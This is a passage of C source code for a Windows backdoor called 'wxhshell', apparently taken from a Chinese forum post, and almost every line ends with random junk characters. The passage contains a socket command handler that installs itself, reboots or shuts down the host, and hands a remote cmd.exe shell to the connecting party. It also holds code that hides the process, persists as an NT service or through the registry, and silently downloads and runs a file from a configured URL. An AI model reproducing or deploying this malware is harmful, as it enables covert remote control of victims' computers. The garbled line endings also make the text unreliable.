    switch(cmd[0]) { SQeQ"k|P%  
  !{4p+peqJV  
  // 帮助 snyx$Qx(  
  case '?': { \F> *d!^C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HsO=%bb  
    break; m:h]nm  
  } ^Dh2_vbI  
  // 安装 mb&b=&  
  case 'i': { 89L -k%R  
    if(Install()) TWn7&,N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S"Efp/-  
    else  hP7nt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <q!{<(:  
    break; >uQ!B/C!  
    } 7mu%|!  
  // 卸载 {_ #   
  case 'r': { 74KFsir@  
    if(Uninstall()) )X@(>b{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H fRxgA@  
    else ]Rw,5\0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k<:!^_3H  
    break; D`LwW` 9  
    } _r ajm J  
  // 显示 wxhshell 所在路径 o?b"B+#  
  case 'p': { 0 xPML}|V  
    char svExeFile[MAX_PATH]; [0 W^|=#K  
    strcpy(svExeFile,"\n\r"); _z}d yp"I  
      strcat(svExeFile,ExeFile); P[Qr[74 )  
        send(wsh,svExeFile,strlen(svExeFile),0); 9 Iw+g]`y*  
    break; :!3P4?a  
    } L\b$1U!i  
  // 重启 UP,(zKTA  
  case 'b': { 7ed*dXY*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =B; )h  
    if(Boot(REBOOT)) M HgS5b2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >`6^1j(3  
    else { g'mkhF(  
    closesocket(wsh); lRO4- y  
    ExitThread(0); YKk%lZ.8  
    } js>6Du  
    break; d 5Il0sG  
    } ?"L>jr(  
  // 关机 9 /9,[A  
  case 'd': { r*WdD/r|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x[)S3U J  
    if(Boot(SHUTDOWN)) =P5SFMPN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z\;kjI  
    else { (V |P6C  
    closesocket(wsh); /]YK:7*98  
    ExitThread(0); p,xM7V"O)  
    } j Sddjs  
    break; oXGf#>keg  
    } p*>[6{$3)O  
  // 获取shell 0|HhA,u  
  case 's': { D]4?UL  
    CmdShell(wsh); +[cm  
    closesocket(wsh); oiklRf  
    ExitThread(0); K<V(h#(.@  
    break; F2XXvxG  
  } iA%3cpIc(Z  
  // 退出 6jKM,%l  
  case 'x': { 3Hq0\Y"Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n:7=z0 s  
    CloseIt(wsh); 3lKIEPf6r  
    break; >f_D|;EV  
    } ma-|L3 #  
  // 离开 ,@<-h* m  
  case 'q': { M>0~Ek%3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xE+Go  
    closesocket(wsh); z muq4-.  
    WSACleanup(); U;;Har   
    exit(1); Qi[T!1  
    break; 'dBzv>ngD  
        } C@KYg/nYw  
  } 4E"qpy \(  
  } t);5Cw _  
d/7 c#er  
  // 提示信息 $bMeL7CN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5m_@s?P[  
} oE5+   
  } #?aR,@n  
}p "HD R>  
  return; h; {?z  
} R/P.m~?  
(spX3n%p  
// shell模块句柄 XLM 9+L  
int CmdShell(SOCKET sock) S:DB%V3  
{ 0`OqD d  
STARTUPINFO si; ytJ |jgp'  
ZeroMemory(&si,sizeof(si)); ==IL63  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =lVfrna  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b cOX/  
PROCESS_INFORMATION ProcessInfo; rPQ$e!m1Ee  
char cmdline[]="cmd"; OY?uqP}c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @ cv`}k  
  return 0; RPLr7Lb  
} 7\jH?Zi  
J\2F%kBej?  
// 自身启动模式 Ef7 Kx49I  
int StartFromService(void) 654PW9{(  
{ Z3[,Xw  
typedef struct M`"2;  
{ W>+<r9Rt4  
  DWORD ExitStatus; c5U1N&k5&  
  DWORD PebBaseAddress; 9N9|hy  
  DWORD AffinityMask; sz}Nal$AC  
  DWORD BasePriority; DNL TJrN  
  ULONG UniqueProcessId; _&yQW&vH#  
  ULONG InheritedFromUniqueProcessId; 4N*^%  
}   PROCESS_BASIC_INFORMATION; 6Q\n<&,{  
#Xsby  
PROCNTQSIP NtQueryInformationProcess; e _,_:|t  
L9G=+T9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .}j@(D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \QHM7C T  
jQf1h|e  
  HANDLE             hProcess; \*_qP*vq@  
  PROCESS_BASIC_INFORMATION pbi; sba0Q[IY  
VeCpz[r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); heRQ|n.Dz)  
  if(NULL == hInst ) return 0; &(wik#S  
zu*h9}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d'DS7F(c{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I |BLAm6j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ph-3,cC  
r}XD{F}"  
  if (!NtQueryInformationProcess) return 0; E4 JS   
f *)t<1f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w}7`Vas9  
  if(!hProcess) return 0; w/ZV9"BhE  
FUMAvVQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; viKN:n! Ev  
=L&_6lb  
  CloseHandle(hProcess); ujDAs%6MZ  
S,J'Z:spf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M~3(4,  
if(hProcess==NULL) return 0; u*H2kn[DU  
`t#C0  
HMODULE hMod; 3{,Mpb@  
char procName[255]; sp AYb<  
unsigned long cbNeeded; c*LnLK/m  
Be-gGJG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =(zk-J<nY  
`(16_a  
  CloseHandle(hProcess); G.c s-f  
W>s<&Vb  
if(strstr(procName,"services")) return 1; // 以服务启动 EEF}Wf$f  
~|?2<g$gYR  
  return 0; // 注册表启动 DfqXw^BKD  
} tjYe82  
~*G I<n  
// 主模块 \QYs(nm?k  
int StartWxhshell(LPSTR lpCmdLine) yKq;EcVx  
{ $^`hu%s,~  
  SOCKET wsl; #Etz}:%W  
BOOL val=TRUE; Jb_/c``  
  int port=0; !07$aQYcd  
  struct sockaddr_in door; e3',? 5j  
"BEU%,w  
  if(wscfg.ws_autoins) Install(); >>&~;PG[  
[<OMv9(l'o  
port=atoi(lpCmdLine); }8 ,b; Q  
!'n+0  
if(port<=0) port=wscfg.ws_port; |RHX2sso  
cj5p I?@e)  
  WSADATA data; :qw:)i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \b~zyt6-  
vE{QN<6T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %lEPFp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YIjBKh  
  door.sin_family = AF_INET; c9DX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6V!yfps)  
  door.sin_port = htons(port); 'gQm%:qU3r  
LP.-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =]"[?a >  
closesocket(wsl); *:)#'cenI  
return 1; gl00$}C  
} `5h$@  
`s@1'IG;R_  
  if(listen(wsl,2) == INVALID_SOCKET) { qAkx52v6  
closesocket(wsl); _es>G'S  
return 1; Cf8(J k`v|  
} YW>|gE  
  Wxhshell(wsl); 4dl?US[-  
  WSACleanup(); J6\<>5 A?  
B>-Iv _  
return 0; {hVSVx8ZL  
<9B43  
} Vs m06Rj{  
bm(0raugs  
// 以NT服务方式启动 @$Z5A g!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b abDLaC@  
{ ?T?%x(]I  
DWORD   status = 0; Xdw%Hw  
  DWORD   specificError = 0xfffffff; YjLPW@  
vPpbm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IRXpk 6|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (z+[4l7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b- %7@j  
  serviceStatus.dwWin32ExitCode     = 0; 3-tp94`8}t  
  serviceStatus.dwServiceSpecificExitCode = 0; J:p nmZ`X  
  serviceStatus.dwCheckPoint       = 0; !0E$9Xon  
  serviceStatus.dwWaitHint       = 0; Zb8i[1P  
0+M1,?+GfF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EGU? 54  
  if (hServiceStatusHandle==0) return; V?5QpBK I  
?=f\oH$  
status = GetLastError(); &)<]AG.vd!  
  if (status!=NO_ERROR) G;wv.|\  
{ vg *+>lbA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; et/mfzV  
    serviceStatus.dwCheckPoint       = 0; CSwNsFDR%  
    serviceStatus.dwWaitHint       = 0; m6aoh^I  
    serviceStatus.dwWin32ExitCode     = status; -mcLT@  
    serviceStatus.dwServiceSpecificExitCode = specificError; C[<&% =  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :cIE8<\%  
    return; v" y e\ZG  
  } tWL9>7]G  
Je+L8TB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !|,=rM9x  
  serviceStatus.dwCheckPoint       = 0; +=U`  
  serviceStatus.dwWaitHint       = 0; %[;<'s5e~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); < _c84,[V  
} ]Cbht\Ag"  
+oe ~j\=  
// 处理NT服务事件,比如:启动、停止 S &cH1QZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \ >1M?  
{ kMN z5P  
switch(fdwControl) ]qhVxeUm  
{ *)g*5kKN  
case SERVICE_CONTROL_STOP: ]!0 BMZmf  
  serviceStatus.dwWin32ExitCode = 0; v;jrAND  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u&r @@p.  
  serviceStatus.dwCheckPoint   = 0; )QFT$rmX  
  serviceStatus.dwWaitHint     = 0; HwM:bY N  
  { >/ HC{.k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (f $Y0;v>}  
  } L.ndLd  
  return; |LiFX5!\  
case SERVICE_CONTROL_PAUSE: s^js}9]p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9]7+fu  
  break; DEqk9Exk`  
case SERVICE_CONTROL_CONTINUE: Ay"x<JB{U2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (Q#ArMMORI  
  break; vWjK[5 M%  
case SERVICE_CONTROL_INTERROGATE: bbA+ZLZJn  
  break; _ 4Hf?m7z  
}; a5]~%xdK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9CUMqaY2  
} 8I NVn'G  
"x3_cA~  
// 标准应用程序主函数 }# w>>{Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^EZ)NG=e5  
{ S7~yRIjB  
~8}"X] 4  
// 获取操作系统版本 m6+2r D  
OsIsNt=GetOsVer(); PY)C=={p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,Sghi&Ky  
F''4j8  
  // 从命令行安装 z8vF QO\I"  
  if(strpbrk(lpCmdLine,"iI")) Install(); Xqf"Wx(X  
P^VV8Z>\&  
  // 下载执行文件 HgduH::\#  
if(wscfg.ws_downexe) { "c1vW<;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  2Np9*[C  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0z.`  
} x/bO;9E%U4  
AUzJ:([V  
if(!OsIsNt) { ww+XE2,  
// 如果时win9x,隐藏进程并且设置为注册表启动 bZERh:%o  
HideProc(); PN+,M50;1  
StartWxhshell(lpCmdLine); nLdI>c9R  
} };29'_.."x  
else k&yy_r   
  if(StartFromService()) {K_YW  
  // 以服务方式启动 D-~HJ  
  StartServiceCtrlDispatcher(DispatchTable); j$N`JiKM  
else |44CD3A%  
  // 普通方式启动 ++Az~{W7  
  StartWxhshell(lpCmdLine); cf@:rHB}  
h#;fBQ]   
return 0; \AkeC6[D  
}
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只看该作者 1 发表于: 2006-10-10
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